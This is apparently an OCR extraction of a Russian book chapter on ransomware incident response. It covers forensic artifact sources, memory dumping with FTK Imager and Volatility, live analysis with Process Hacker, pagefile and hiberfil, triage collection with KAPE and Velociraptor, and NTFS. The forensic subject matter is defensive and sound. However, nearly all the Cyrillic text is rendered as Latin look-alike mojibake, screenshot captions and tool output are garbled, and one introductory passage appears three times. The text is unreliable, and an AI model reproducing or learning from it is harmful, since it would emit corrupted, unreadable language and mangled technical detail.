pearupoOBaHUIO HA UHIMJCHTHI, CBSI3aHHBIE C ITPOTPAMMAaMU-BBIMOTATEIISIMU, JIEMCTBUTEIIBHO MHOTO.

BBIBO ABbI

B 3TOM# ri1aBe Mbl pacCMOTPEIH pa3inuHbie UCTOUYHUKNA CTI, CBS3aHHBIE C IpOTrpaMMaMu-BbIMOTATEIAIMU. MBI
MIPOAHAIIM3UPOBAIIN HECKOJIBKO OTKPBITHIX OTYETOB Y U3BJICKJIM LIEHHBIE JaHHBIC, KOTOPHIE MTO3BOJIUIA HAM
PEKOHCTPYHMPOBATH PA3JIUYHBIC YACTH KU3HEHHOIO IIUKJIA aTaku U mpeoOpa3zoBarh ux B CTI.

MBI Hay4YMJIMCh aHATU3UPOBATh COIUATbHBIE CETH, YTOOBI ITOIy4YaTh CBEJACHUS O KHOEPYrpo3ax, KOTOPhIMU
JEJISATCS MPEACTaBUTEIN COO0IIECTBAa KHOEPOE30ITaCHOCTH.

Haxkoneln, Mbl M3y4niIn T€HEBbIE (DOPYMBI U y3HaIHU, Kak nony4daTh CTI HemocpeacTBEHHO OT HaIIHUX
IIPOTUBHUKOB — OIIEPATOPOB MPOrPaMM-BbIMOTaTEIIEN.

Tenepp, Korja Bbl YK€ MHOI'O€ Y3HAJIM 00 arakax MporpaMM-BbIMOTraTesIei, yIpaBIsieMbIX YEJIOBEKOM, U UMEETE
SACHOE MPEACTABIIEHUE O TOM, KaK IIPOUCXOIAT TAKUE aTAKU, Bbl TOTOBBI ITIOTPY3UTHCSA B IPOLIECC PACCIIEIOBAHUA.

B cnenyrolei riaBe Mbl paCCMOTPUM OCHOBHBIE HCTOYHUKHU LIU(PPOBBIX KPUMHUHAIMCTUYECKUX apTe(aKTOB,
KOTOPBIE MO3BOJIAIOT CAYyKOaM pearupoBaHus Ha MHIIUMJICHTHI PEKOHCTPYUPOBATh aTaKy ¢ MCIIOJIb30BaHUEM
IIPOrpaMMBbI-BBIMOTaTEIISl U BBISICHUTh, YTO HMEHHO OBLIO CACIAHO B XOJ€ €€ KM3HECHHOTO IIUKJIA.



[MPAKTUKA PEATPOBAHUA
HA NHUWOEHTDI




B atom pazgene Bbl HAMOETE MHOXECTBO NPaKTU4ECKMX
NPUMEpPOB paccnefoBaHna COBPEMEHHbIX arak

C UCMOb30BaHWEM NPOrpaMm-BbiMorarTenen u ysHaere,
YTO Takoe YHU(PUUMPOBAHHbLIN XU3HEHHbIA UMKN artak

C ucnosib3osaHnem ﬂpOFpaMM-BbIMOFaTeﬂeﬁ.

Paspen cocTouT U3 cneayloLux rnas:
Maea7. LudpoBbie KpUMUHANUCTUHECKUE apTedaKTs!
N UX OCHOBHbIE NCTOYHUKU

Mnaesa 8. MeTofbl NnepBoHa4YansLHOro gocryna

Mnasa 9. MeToabl nocTakennyaraunm

Mnaea 10. MeToab! Kpaxu AaHHbIX

Mnasa 11. MeTogb! passepTbiBaHUsA NPOrpaMmm-BbiMorarenen
Mnaea 12. YHUDUUMPOBaHHBIN XU3HEHHbIW UWK atak

C UCINOoJNIb30BaHUuem nporpaMM-BblmoraTeneﬁ
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[IUP®POBBIE
KPUMUHAJUCTUYECKUE
APTE®AKTBI U X
OCHOBHBIE UICTOYHUKU

BbI yoke MHOTO€ 3HaeTe 00 arakax MporpaMM-BhIMOTraTesIeH, yIpaBIseMbIX TIOAbMU, — O Hauboyee
pacOpOCTPAaHCHHBIX TAKTUKAX, TCXHUKAX U IPOLEAypax, UCIOJIb3yEMBbIX 3JI0YMBIIIICHHUKAMH, a TAKKE O TOM,
KaK YCKOPUTb paccieloBaHUE HHIMICHTA, COOUpas MoJIe3HY0 HHPopMaLuio 0 kKuoepyrposax. Teneps mopa
COCPEJIOTOUUTHCS Ha CaMOM IIPOIIECCE pacciieI0BaHMS.

Bbl HaBepHsIKa CIbIIAIN O IPUHIIAIE 0OMeHa JIokapa, HO BCE € HAITOMHIO: MPECTYIMHUK BCErJIa OCTABJISIET YTO-
TO Ha MECTE MPECTYIJICHUS M YTO-TO OTTYJia 3a0upaet. M To 1 Apyroe MoxeT ObITh UCITOJb30BAHO B KAYECTBE
YIIUK.



3HaKoMo, He TipaBja Ju? [1ob30BaTenu MporpaMM-BEIMOTaTeIEH OCTABISIIOT HA MECTE MPECTYIUICHUSI CBOU
MHCTPYMEHTBI, BKJIFOUYAsl CaMy MPOrpaMMy-BbIMOTaTeNb, M, KaK MPAaBUIIO0, 3a0UPpat0T ¢ CO00M OOJIBIIION 00bEM
KOH(UICHIIMAIBHBIX JTAHHBIX.

MbI1 yxe 3HaeM, YTO KU3HEHHBIN [IUKJI ATAKX C UCIIOJIBb30BAHUEM IIPOTPAMMbBI-BBIMOTATENIS IOBOJBLHO CIIOkKEH. Ho
KaK OIPEJCIINTh, KAKUE METOIbI UCTIOJIb30BAIMCH 3JI0YMBIIIJICHHUKAMU Ha pa3HbIX dranax? OTBer —
MCIOJIb30BaTh METObI IU(PPOBON KPUMUHAITUCTUKHA !

B 3ToM ri1aBe Mbl paCCMOTPUM PA3JIMYHbIE UICTOYHUKH [IAPPOBBIX KPUMHUHAITUCTUHUECKUX apTE(PaKTOB, KOTOPHIE
MOT'YT IIOMOYb CITY>K0aM pearupoBaHusi HA MHIUJECHTHI BOCIPOU3BECTH X0/ ATAKU C UCITOJIb30BAHUEM
nporpamMmMbI-BeiMoratesis. [{udgpoBas KkpuMHUHAIMCTHKA O3BOJIAET OOHAPYKUBATh U PEKOHCTPYUPOBATh JaHHBIE,
OJiaroaapsi KOTOPbIM MOHO CMATYHUTh HOCIEACTBUS KHOEepaTaKyu WJIM CHU3UTDH CBSI3aHHBIE C HEM PUCKHU.

MBI coCcpeA0TOYHUMCA HA CAeAYIOIUX
HUCTOYHHUKAX:

. Cbop M aHaNM3 sHepro3aBUCMMOMN NAMATH.

. C6bop AaHHbIX S3HEPrOHE3aBMCMMOMN NaMATMH.
. TnaBHas ¢pannosada Tabnnua.

. ®annbl Tpaccmposku (prefetch-dpannbi).

. Apnbiku (LNK-dpannbi).

. Cnnckum nepexonos.

. MOHUTOP NCNONBb30BAHMA CUCTEMHbIX PECYPCOB.
. Beb-b6pay3epbi.

. Peectp Windows.

. *KypHanbl cobbiTnin Windows.

Lpyrne »xypHanbl.
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[IU®POBBIE
KPUMUHAJUCTUYECKUE
APTE®AKTBI U X
OCHOBHBIE UICTOYHUKU

BbI y>ke MHOTO€ 3HaeTe 00 arakax MporpaMM-BhIMOTraTesIeH, yIpaBaseMbIX TIOAbMU, — O Hauboyiee
pacOpOCTPAHCHHBIX TAKTUKAX, TCXHUKAX M IPOLICAypax, UCIIOJIb3yEMBIX 3JI0YMBIIIICHHUKAMH, a TAK)KE O TOM,
KaK YCKOPUTbH paccieloBaHUE HHIMICHTa, COOMpasi IOJIE3HYIO HH(pOpMaLMI0 0 Knoepyrpo3ax. Teneps mmopa
COCPEJOTOUNTRLCS Ha CaMOM IIPOIIECCE pacciieI0BaHMS.

Bbl HaBepHsIKa CIIbIIIAIM O PUHIMIIE 0OMeHa JIokapa, HO BCE K€ HAalIOMHIO: IIPECTYIMHUK BCErla OCTaBIISIET YTO-
TO Ha MECTE MPECTYIJICHUS U 4TO-TO OTTYJia 3abupaet. M To u Apyroe MoxeT ObITh MCIIOJIb30BAaHO B KAUECTBE
VUK.

3HaKOMO, HE IIpaBAa JI



[nasa /

[IUDPPOBBIE
KPUMUHAJNCTUYECKUE
APTE®AKTBI U X
OCHOBHBIE UICTOYHUKH

Bbl y>ke MHOTO€ 3HaeTe 00 arakax MporpaMM-BbIMOTaTENIeH, yIIPaBIIEMbIX JIOAbMU, — O HanboJee
pPaCpPOCTPAHEHHBIX TAKTUKAX, TEXHUKAX U MPOLIEIYPaX, UCIIOJIb3YEMBIX 3JI0YMbINIJIEHHUKAMHU, & TAKKE O TOM,
KaK YCKOPHUTH PACCIEI0BAHUE UHITAJICHTA, COOMpas MOJE3HYI0 MH(OPMAIIUIO O KHOepyrpo3ax. Temeps mopa
COCPEIOTOUYUTHCSA HA CAMOM IIPOIIECCE PACCIEIOBAHUA.

Bbl HaBepHsIKa CIBIIAIM O IIpUHIIKMIIE 0OMeHa JIokapa, HO BCE K€ HAIIOMHIO: MPECTYIMHUK BCETAa OCTABJISIET YTO-
TO Ha MECTE€ MPECTYIJICHUS U 4TO-TO OTTYJ1a 3a0upaet. M To u gpyroe MoxeT ObITh MCIOJIb30BAHO B KAUECTBE
YIIHK.

3Hakomo, He mpasja au? [loap30BaTenu mporpaMM-BEIMOTaTEICH OCTABISIOT HA MECTE IIPECTYIICHUS CBOU
MHCTPYMEHTBI, BKJIFOUAs camMy MPOrpaMMy-BbIMOTraTeNb, U, KaK MPaBUiI0, 3a0UpatoT ¢ 000 00JbIION 00bEM
KOH(MUACHIIMAIbHBIX JIAHHBIX.

Mgl yxe 3HaeM, YTO KU3HEHHBIN [IUKJI ATAKU C UCIOJIb30BAHUEM MIPOrPAMMBbI-BBIMOIATENA JOBOJBHO CIIOKEH. HO
KaK ONPENECINTh, KAKUE METObI UCIIOJIb30BAIINCH 3JIOYMBIIIJICHHUKAMU Ha pa3HbIX dTanax? OTBer —
MCIOJIb30BaTh METOAbI IM(PPOBON KPUMUHAUTUCTUKH !

B 3Tol ri1aBe Mbl paCCMOTPUM Pa3JIMYHbIE UICTOYHUKH [IA(PPOBBIX KPUMHUHAITUCTUUECKUX apTe(PaKTOB, KOTOPHIE
MOT'YT MIOMOYb CIy>KO0aM pearupoBaHUs Ha MHIIUJICHTHI BOCIIPOU3BECTH X0/ aTaKU C UCIOJIb30BaHUEM
nporpamMMbI-BeIMoOratesns. LludgppoBas KpuMUHAIMCTHUKA MO3BOJISAET OOHAPYKUBATh U PEKOHCTPYUPOBATh JaHHBIE,
OJiarogapsi KOTOPbIM MOYKHO CMSITYUTH MOCJIEICTBUS KMOEpaTaKy UJIM CHU3UTh CBSI3aHHBIC C HEH PUCKH.

MBI cOCpeAOTOYHMCS Ha CJIeAYIOIHNX
HCTOYHUKAX:

. Cbop M aHanM3 aHepro3aBUCMMOM NAMATH.
. C6bop AaHHbIX S3HEPrOHE3aBUCMMOMN NaMATMH.
. TnhaBHaAa dannosasa Tabaunua.

. ®annbl Tpaccnposku (prefetch-pannbi).

. Apnbikn (LNK-pannbi).

. Cnuckun nepexonos.

. MOHUTOP NCNONBb30BAHMA CUCTEMHDbIX PECYPCOB.
. Beb-bpaysepobl.

. Peectp Windows.

. "KypHanbi cobbiTnin Windows.

[pyrue »XypHanbl.



C60p M aHAJ/IM3 3HEePro3aBUCUMOM NNAMSATH

IToCKOIBKY MHOTHE 3J10YMBIIIICHHUKH T10JIb3YIOTCS TIOIPYYHBIMU CPEACTBAMH — TO €CTh HHCTPYMEHTAMHU,
MMECIOIIMMHUCS B II€JeBON HHDPACTPYKTYpE, — aHAIN3 SYHEPTro3aBUCUMOM MaMSITH ITIOMOXKET HAUTH KIIFOUEBBIC
CIE/bl, HEOOXOAUMBIE CIICIIUAIMCTY 110 pearupOBaHMIO HA UHIIUICHTHI JIJISI IPaBUIbHON PEKOHCTPYKIIUU METOJIOB
IPOHMKHOBEHHUS. B MPOTUBHOM CiIydae 3710yMBIIIICHHUKH MOTYT OCTaThCSl BHE ITOJIS 3PCHUS CITYKOBI
0€30IaCcHOCTH.

Tak kak sHEepro3aBMCHMBIC JaHHBIC Yallle BCEro XpaHATcs B oneparuBHOM mamatu (Random Access Memory,
RAM) yctpoiicTBa, 4151 X W3BJICYCHUS OOBIYHO MPUMEHSIOTCS METO/IbI CO3/IaHMS JTaMIIa ITaMSITH.

CyllecTByeT MHOKECTBO MHCTPYMEHTOB, KOTOPBIE MOKHO HMCIIOJb30BaTh JJIs1 COPOCa YHEPro3aBUCUMOM MMaMSTH.
Bot HEKOTOpBIE U3 HUX.

. AccessData FTK Imager (https://accessdata.com/product-download/ftk-imager-version-4-5)
. Belkasoft RAM Capturer (https://belkasoft.com/ram-capturer)

. Magnet RAM Capturer (https://www.magnetforensics.com/resources/magnet-ram-capture/)

BHuMaHME: HUKOTJa HE KOMMMPYMUTE UHCTPYMEHTHI COOpa TAHHBIX W MOJYYEHHBIN JaMIl MaMSITH Ha TO K€
YCTPOMCTBO, C KOTOPOTO Bbl UX KOomUpyeTe. Mcnonb3yiuTe BHEUTHUM TUCK WK ceTeBoU pecypc. [Touemy? Ilotomy
4TO Bbl MOKETE CIIyYalHO NEepe3anucaTh NOTEHIIUAIbHBIC HCTOYHUKHU TU(POBBIX CIEI0B!

[Ipumep 3axBara namsatu ¢ noMolpo AccessData FTK Imager npusenen Ha pucyske 7.1.

[TonynsipHEUIIIMA MTHCTPYMEHT JIJIS aHaIrM3a AaMioB namsatu — Volatility, miatgopma ¢ OTKpBITEIM UCXOIHBIM
KOJIOM JJIs1 KpUMHUHAIUCTUYECKOI0 MCCIIEA0BaHUS JaMIlOB TaMsiTi. Ha MOMEHT HanMcaHus TaHHOW KHUTH
CYIIECTBOBAJIO JBE BEPCUU 3TOTO MHCTPYMEHTA!

. Volatility 2 (https://www.volatilityfoundation.org/releases)
. Volatility 3 (https://www.volatilityfoundation.org/releases-vol3)

Memory Progress
Destination: D:\memdump.mem
Status: Dumping RAM: 3GB/37GB [9%)]

Cancel |

Puc. 7.1. 3axBat namstu ¢ nomonipro AccessData FTK Imager

O0e Bepcuu TPEOYIOT XOTsI Obl MUHMMAJIBHBIX HABBIKOB Pa0OTHI C KOMaHIHOM CTPOKOM, HO, TOCKOJBbKY K HUM
PUJIATAIOTCS SICHbIE HHCTPYKIIUHM, HAYYUTHCS C HUMHM pad0TaTh JOBOJIBHO MPOCTO.

Ecau BaM He HpaBUTCS KOMaHIHAs CTPOKa, CTOUT nompooosath cpeactBo Volatility Workbench or PassMark —
310 rpaduueckuii naTepdeiic mons3oarens (Graphical User Interface, GUI) mis Volatility).

A} PassMark Volatility Workbench = O X
= : el e
Image fec D:\mesmory, dmp Browese Image Command Descigion: | h - volatll‘ty
: In aeder to run a command } -
Platform | Windows ¥ | | Refiesh Process List | | 1- Browse an image fie . _W mbe h
2- Get/Refhesh peocess kst ™ o nc
Command | -~ Volatilty Commands -~ v Command i %g;hdacommdhumhem © by PassMark Software
- Enter command parameters
i 5 Run command
un

volatility workbench v3.0 8uild 1002

hTtp: ///vwnww, passmark. com A
volatility version 3 1.1.0-beta.1

hrep://www.volatilityfoundation.org

Time Stamp: Sun OCt 31 11:14:17 2021
"Ci\users\alien\Downloads\volatilityworkbench (1)\vol.exe™ -f "D:\memory.dmp” windows.pslist.PsList
Please wait, this may take a few minutes.

WARNING volatility,.franework.automagic.pdbscan: Temporary Tile could not be removed: Ci\users\Alien\.cache\volatilitys3
\data_41a4b91734d50a59C85ebd51a01cf5DC50293410d0d129c9add44ed4C2€e14b3€9523980bA013C3€638470e37d6F777809¢F1cs Faec20f2desf241588cff287e. cache
volatility 3 Framework 1.1.0-beta.i

PID PPID ImageFilienName Offset(V) Threads Mandles Sess1onld wowé4d CreateTime EXITTime

4 O System OxTas00Ccd24040 B4 477 N/A False 2017-10-05 11:35:28.000000 N/A

252 4 smss.exe Oxfas00d317b30 2 29 N/A False 2017-10-05 11:35:28.000000 N/A

332 324 csrss.exe OxfaS00e297600 8 497 0 False 2017-10-05 11:35:33.000000 N/A

384 376 csrss.exe OxTaBSo0cdazes0 9 242 1 False 2017-10-05 11:35:33.000000 N/A

392 324 wininit.exe OxfasQo0e4aa540 3 75 0 False 2017-10-05 11:35:34.000000 N/A

428 376 winlogon.exe Oxfas00e4dadéd 4 113 1 False 2017-10-05 11:35:34.000000 N/A

488 392 services.exe Oxras00es10030 11 228 0 False 2017-10-05 11:35:34.000000 N/A

496 392 lsass.exe OxTaS00e5187b0 7 582 0 False 2017-10-05 11:35:35.000000 N/A

504 392 Ism.exe Oxfas00e519340 10 143 0 False 2017-10-05 11:35:35.000000 N/A

$96 488 svchost.exe Oxfas00e573b30 11 364 O False 2017-10-05 11:35:38.000000 N/A

656 488 wvmacthip.exe Oxfas00es95060 4 54 0 False 2017-10-05 11:35:38.000000 N/A

700 488 svchost.exe Oxfaso0esar770 7 275 0 False 2017-10-05 11:35:39.000000 N/A

780 488 svchost.exe Oxfas00eSddS80 21 428 0 False 2017-10-05 11:35:39.000000 N/A

824 488 svchost.exe Oxfaso0eSfdb30 19 359 O False 2017-10-05 11:35:40.000000 N/A

848 488 svchost.exe OxfasOo0e604b30 45 1057 0 False 2017-10-05 11:35:40.000000 N/A

960 488 svchost.exe 0xfaso0e657b30 14 S38 0 False 2017-10-05 11:35:41.000000 N/A

292 488 svchost.exe OxfasO0e689a30 17 384 O False 2017-10-05 11:35:42.000000 N/A

924 488 spooisv.exe OxfasOOe6esSb30 15 329 O False 2017-10-05 11:35:44.000000 N/A

1040 488 svchost.exe Oxfaso0er00b30 14 183 0 False 2017-10-05 11:35:44.000000 N/A

1176 488 VGAuthService, Oxfas00e4cib30 4 84 0 False 2017-10-05 11:35:46.000000 N/A

1256 488 wvmtoolsd.exe OxTas00e’cab30 9 303 0 False 2017-10-05 11:35:48.000000 N/A

1516 488 taskhost.exe OxTasoOessab30 9 144 1 False 2017-10-05 11:35:52.000000 N/A v
1596 488 svchost.exe Oxfag00es887b30 5 93 0 False 2017-10-05 11:35:52.000000 N/A

1696 488 dllhost.exe OxfaS00e8bS86S0 20 196 0 False 2017-10-05 11:35:52.000000 N/A

Cles Log Savetofie | | Copytocipboad | | Abot | [_Em |

Puc. 7.2. 3anyck mnaruna Volatility gwepes PassMark Volatility Workbench



AHanmu3 naMmna nmaMsiThd IOMOTAET BBIIBUTH MHOKECTBO apTE(PAKTOB, CBA3aHHBIX C aTAKOU, KOTOPHIE
BIIOCJIEJICTBAM MOTYT MOCHYXUTh IIeHHbIMU [0C 1151 0OHapy)eHUs Yrpo3 B MaclITadax BCEro MPEAIPUSITHS.

CymectBytoT Bepcun PassMark Volatility Workbench gns Volatility 2 u Volatility 3. O6e Bepcnu MoxHO
3arpy3uth ¢ https://www.osforensics.com/tools/volatility-workbench.html.

JlaMIHT TaMsITH — HE BCETJIa JIYUIINK c10CcO0 aHanu3a. Bel MOkeTe He 3HAaTh, KAKUE UMEHHO XOCTHI TPEOYIOT
MPOBEPKH, a4 AaHATU3UPOBATH JAMIIbl HAMSITU COTEH MAIlIMH — TPYAOEMKas U HedI()(PEKTUBHASI CTPATETUS.

CylEeCTBYIOT HHCTPYMEHTBI, KOTOPBIE MTO3BOJISIIOT CHEIUAIUCTY 10 PEarnpOBaHUIO HA MHIIUJACHTHI BBITIOJIHSTh
aHaJIM3 B peaJIbHOM BpeMeHHU. HanmpuMmep, monyisipHbIi y 3J10yMbIILICHHUKOB Process Hacker moryt
MCIOJIb30BaTh U O00OpIibl ¢ atakaMu. OH MO3BOJISIET MPOBEPATH JAHHBIE YHEPrO3aBUCUMOM MaMATH, BKIIOYas
3aMyIIEHHBIE MIPOLIECCHI, X KOMAHAHBIE CTPOKU U, KOHEYHO K€, CETEBBIC MOJIKIOUEHUI — U 3TO JIAJIEKO HE BCE.
Bot npuMmep ucnons3oBanus Process Hacker miist oneparuBHoro ananusa.

1™ Process Hacker [DESKTOP-UDOPL7T\Alien]

Hacker View Tools Users Help

Processes Services Network Disk

‘?p Refresh &7 Options | && Find handles or DLLs |2* System information

- O

X

? |Search Processes (Ctrl+K)

Jo

Name PID CPU |/O totalr...
w7 svchost.exe 1380
svchost.exe 1624
svchost.exe 1632
svchost.exe 1648
svchost.exe 1688
svchost.exe 1792
svchost.exe 1864
v [®] svchost.exe 1884

taskhostw.exe

7660

(@ | Nahim 23 ©/0u
& IntelCpHDCPSvc.exe 1960
svchost.exe 1972
svchost.exe 1988
svchost.exe 2020
svchost.exe 2028
svchost.exe 1316
=] svchost.exe 2248
IntelCpHeciSvc.exe 2284

4 svchost.exe 2316 0,02
sihost.exe <

Private by.. User name

2,92 MB
1,68 MB
1,76 MB
2,97 MB
1,15MB

2,5 MB
19,2 MB
6,64 MB

2,61 MB
149 MB
1,95 MB
1,91 MB

3,2 MB
6,59 MB
141 MB
339 MB

7,64 MB

DESKTOP-UDOPL7T\Alien

A

CPU Usage: 7.22% Physical memory: 8,34 GB (26.22%) Processes: 232

Puc. 7.3. IIpoBepka 3amymieHHEIX IIPOIECCOB ¢ MOMOIILI0 Process Hacker
Process Hacker moxxHo momy4uuTs 1o cchuike http://sourceforge.io/downloads.php.

HMHTEepecHO, 4To apTe(daKThl SHEPTO3aBUCUMOM MaMSTH MOKHO HAWTH HE TOJBKO B JamIiax mamaTu. HekoTopeie
CHUCTEMHBIE (haijIbl TOKE COJIEPKAT OCTATKU ITaMSITHU

. pagefile.sys — 310T dpaitn HaxoAUTCA B KOPHEBOM KaTasiore cuctemHoro gmcka (obbivHo C:\) u ncnonbayercsa
NN XPaHEeHMA CTPAHUYHbIX 6/10KOB NAaMATU, KOTOPbIE B AaHHbIN MOMEHT HE MCNONb3YIOTCA, — 3TO TaK
Ha3biBaeMbl haa NOAKAYKM onepaLMoOHHOM CUCTEMbI, OH e CTPaHUYHbIK dana UamM BUPTYanbHAA NamMATb.
C nomouwbto Volatility sTtoT damn npoaHannsmpoBaTb HENbL3A, HO €CTb U ApYyrne noaxoaslime cpeacTsa,

Hanpumep page_brute (https://github.com/matonis/page brute).

. hiberfil.sys — ¢dann pexmma rubepHaumm Windows, KOTOpbIN TaKXKe XPaHUTCA B KOPHEBOM KaTanore
CUCTEMHOTO AAUCKA U UCNONb3YeTCA AJ19 COXPAaHEHUA COCTOAHUA MalLUWHbI Ha Bpema rmbepHaumun. ItoT Gpamn
MOXXHO Npeobpa3oBaTb C nomoubto naarnHa Volatility imagecopy, a 3atem npoaHann3npoBaTb, KakK

0bObIYHbIN AaMN NAMATH.

MBI erie BepHeEMCS K apTedakTtam (paiaoBOM CUCTEMBI U K TOMY, KAK OHM MOTYT IIOMOYb HaM B pacciieIOBaHUM
aTak C MCIO0JIb30BaHUEM IporpaMM-BeiMorareiieii. Ho cHayanma Hy»KHO Hay4dUThbCsl COOMpATh JIaHHbBIC U3
SHEPTrOHE3aBUCUMOM MaMSITU — T€ JAHHbIE, KOTOPBIE TOCTYIIHBI, KOTJIa CUCTEMA BBIKJIFOUYECHA.

CO60p AaHHBIX JHEProHe3aBUCUMOU NMAMATH

Hpemz[e 9CM Ha4daTb I‘J'IY6OKO€ N3Y4YCHUC PA3JINIHbIX HCTOYHHNKOB JdHHBIX SHCPFOHGBaBHCHMOﬁ [HaMsITH, HaBaﬁTe
Y3HACM, KdK HUX I10JI1Y4YaThb. Brl HABCPHAKA CJIbIIIAJIN O KPUMHUHAJIUCTHYCCKUX 06pa3ax — TTOOUTOBBIX KOITHSX



IU(POBBIX HOcUTENeH. MHOrIa MBI 10 CUX IIOP CO3/1a€M TaKME€ KOIIUU — HAIPUMEDP, JIJIS IIEPBOTO B3JIOMAHHOTO
XO0CTa, HA KOTOPOM MOET OCTaBaThCsl MHOXKECTBO PA3JIMUHBIX apTE(PAKTOB, CBSI3aHHBIX C ACHUCTBUSIMHU
3JIOYMBIIIJIEHHUKOB. Takue o0pa3bl MOKHO co3/1aBath ¢ noMolpio AccessData FTK Imager.

Ho B3710MaHHBIX XOCTOB MOKET OBITh JIOBOJIBHO MHOTO, M TOT/1a KIIOHUPOBAHUE KAKJIOW CUCTEMBI OKaXKETCA
TPYAOEMKOU 3aa4ye. B 3TOM ciryyae Bl MOKETE CO3/1aTh BEIOOPOUYHBIA 00pa3 — OH OYJIET COAEPKATh PSI
(hbaitaoB, a TaK)KE HEKOTOPHIC JOMOJIHUTEIbHBIC IaHHBIC, HAIpUMEP MHPOPMAIIUIO O CETEBBIX IOJIKIIOUYCHUSIX.

Creating Image [0%) — X

Image Source: | C:\

Destination: D:\locked
Status: Creating image...
Progress
2906.59 of 488382.28 MB (132.118 MB/sec)
Elapsed time: 0:00:22

Estimated time left: 1:01:14

Cancel

Puc. 7.4. Co3nanue oOpa3za ¢ nmomoubo AccessData FTK Imager

Hemmoxoi maCTpYyMEHT 1151 cOopa nepBrUHLIX JaHHBEIX — Live Response Collection
(https://www.brimorlabs.com/Tools/LiveResponseCollection-Cedarpelta.zip) bpaitana Mopana.

B2 BriMor Labs Windows Live Response Collection = O X

BriMor Labs Windows Live Response Collection Data S -
Gathering Scripts

O Secure-Complete -- Choosing this option will gather a memory dump,
volatile data, and full disk image. Upon completion all data will be compressed
and password protected.

O Secure-Memory Dump -- Choosing this option will gather a memory
dump and volatile data. Upon completion all data will be compressed and
password protected.

@ Secure-Triage -- Choosing this option will gather volatile data. Upon completion all data will be
compressed and password protected.

CEDARPELTA

O Complete -- Choosing this option will gather a memory dump, volatile data, and full disk image.
O Memory Dump -- Choosing this option will gather a memory dump and volatile data.
O Triage -- Choosing this option will gather volatile data.

Run Selected Windows Live Response Script

License | Queslions? | Abuul|

Puc. 7.5. Co3ganue odpaza 11 nepBuuHor o0padoTku ¢ noMolisio Live Response Collection

M HTEpECHO, Y4TO C IIOMOIIBIO ATOI0 CPEACTBA BBl MOKETE HE TOJIBLKO COOMPATh IIEPBUYHBIC JaHHBIC, HO TAKXKE
KOIIMPOBATH MMaMSITh U JJaXKE€ CO3J1aBaTh MOJHBIE 00pa3bl. TOIBKO HE 3a0yJbTE, UTO 3allyCKaTh TAKUE
MHCTPYMEHTBI HY>KHO C BHEIITHETO JUCKA WJIM CETEBOIO pecypca.

Ecau BaM HY>XHO JeHicTBOBaThH ele 0oJiee IejeHamnpaBicHHo, Bocroas3yiiteck Kroll Artifact Parser and
Extractor (KAPE) — oH 1T03BOJIIET CIIEIUAIINCTAM 10 pearipOBAHUIO HA WHIIUJICHTHI BBIIIOJIHATE OYCHb
c()OKyCHPOBAaHHBIM M KOMIAKTHBINA cOOp AJaHHBIX. IM MOXKHO MOJIL30BaThCS B MACIITA0aX BCETO MPEAIPUITHS,
IIOCKOJIbKY Y HET'O €CTh BEPCUH KaK C I'papUUeCKUM MHTEP(PErcoM, TaK U ¢ KOMaHIHOM CTpoKoi (puc. 7.6).

boiee Toro, KAPE npenna3zHadeH He TOJBKO 11 cOOpa JaHHBIX, HO W JIJISI aBTOMAaTHU3allMi KX 00OPa0OTKH.

CyIecTBYIOT TaK)KE PEIICHUS-areHThI, B TOM YUCJIC C OTKPBITHIM UCXOIHBIM KOJIOM, CLIOCOOHBIC BEITIOTHSTH
cOOp JaHHBIX B pealbHOM BpeMeHH. Xopomwii mpumep — Velociraptor
(https://qgithub.com/Velocidex/velociraptor).




o gkape v1.1.0.0 - 0 X
File Tools
| Une Target options _| Lse Modufe optiors
Target options. Module optrans
Target source & Mod

Target destnaton (0:\ vl [mush [TAdd%d [ Add %m

Targets (Dosbile-clck to edit & target)

Process vSCs /| Deduphcate Contaner o Nore WX wo Zp

Other oplions
Debug messages Trace messages Igroce FTX marming

Tp password e Retan local copies

Cwrrent command lene
\kape.exe --tsource C: —-tdest D:\%m --target Amcache --gui

L) Copy command 9‘ Synz with GtHud % Exease!

Qocumentation | Targets available: 235 Targets selectech 1 Modules available: 232 Modules selected: 0 Disable flush wamings

Puc. 7.6. Lleneou coop ¢ momomsio KAPE

Mmuorue pemenuss EDR/XDR Tak:ke mo3BoJIsitoT coOMpaTh KpUMUHAIMCTHUECKUE apTedakThl. Hrke nmpuBeieHsbI
nmapaMeTphl cOopa gaHHBIX GperimBopka Group-1B Managed XDR.

Pemiennst EDR/XDR camu o cebe MOryT ObITh O4€Hb IIEHHBIMU UCTOYHUKAMU KPUMUHATUCTUYECKHUX
apTe(aKkTOB, MOCKOJIBKY OHM ITOCTOSHHO COOMPAIOT MH(POPMAIIMIO O 3aITYIIEHHBIX MPOLIECCaX, CETEBBIX
MOJIKTIOYEHUSX, U3MEHECHUAX (DailIoB U peectpa U T.1. Kak BuauTe, CymecTByeT JOBOJIbHO MHOTO BApUAHTOR
cOOpa KaK PHEPro3aBUCUMBIX, TaK U YHEPTrOHE3aBUCUMBIX JIaHHBIX. Tenepb JaBalTe U3YYHUM Pa3IddHbIC
MCTOYHUKH HU(POBBIX KPUMHUHATUCTUYECKUX apTE(PaKTOB.

Data for forensic analysis

Pred etch folder
TTEMPY. folder
Browsers History
Windows Event Logs
Regisiry hives

NTFS Master Fie Table

NTFS SN Jourmnal

) Extende

Puc. 7.7. IlapameTpsl cOopa kpuMmuHanucTnaeckux ganHeix Group- IB Managed XDR

'1aBHaa ¢pansioBast Tad/IMLA

daitoBas cucTeMa COACPKUT MHOXKECTBO PA3JIMUHBIX apTe(PaKTOB, KOTOPhIE MOT'YT IIOMOYb B IIPOLECCE
pacciaenoBanus. Peectp Windows 1 pa3andHble )KypHaIbl TOKE OTHOCITCS K (pailJlIoBOM CUCTEME, HO OHHU
TOBOJILHO CJIOXKHBI, 1 MBI PACCMOTPHM HX OTAEIBHO.

HauoOoinee pactpocTpaHeHHbIN TUIT (DAHJIOBOM CUCTEMBI, C KOTOPBIM Bbl CTOJIKHETECh IPHU pACCICA0BAaHUU aTaK
nporpamm-BeIMorareieii, — New Technology File System (NTFS). B nacrosimiee Bpems 3To camas
pacopoctpaHeHHas ¢aitnoBas cucteMa B OC Windows — M, Kak Bbl YK€ 3Ha€TE, OCHOBHAs 11€/Ib MOJIb30BaTeICH
nporpamMM-BeIMorareieii. HecMoTpsi Ha OBBIIIEHHBIN HHTEpeEC K Linux-cuctemaM, 3710 yMBIIIJICHHUKH OOBIYHO
100HparoTcs 0 HUX IyTeM B3iioMa Windows-uHQpacTpyKTyphl, TaK 4YTO Mbl COCPEIOTOYMMCSI UMEHHO Ha 3TOM
OIIEPALIMOHHON CUCTEME.

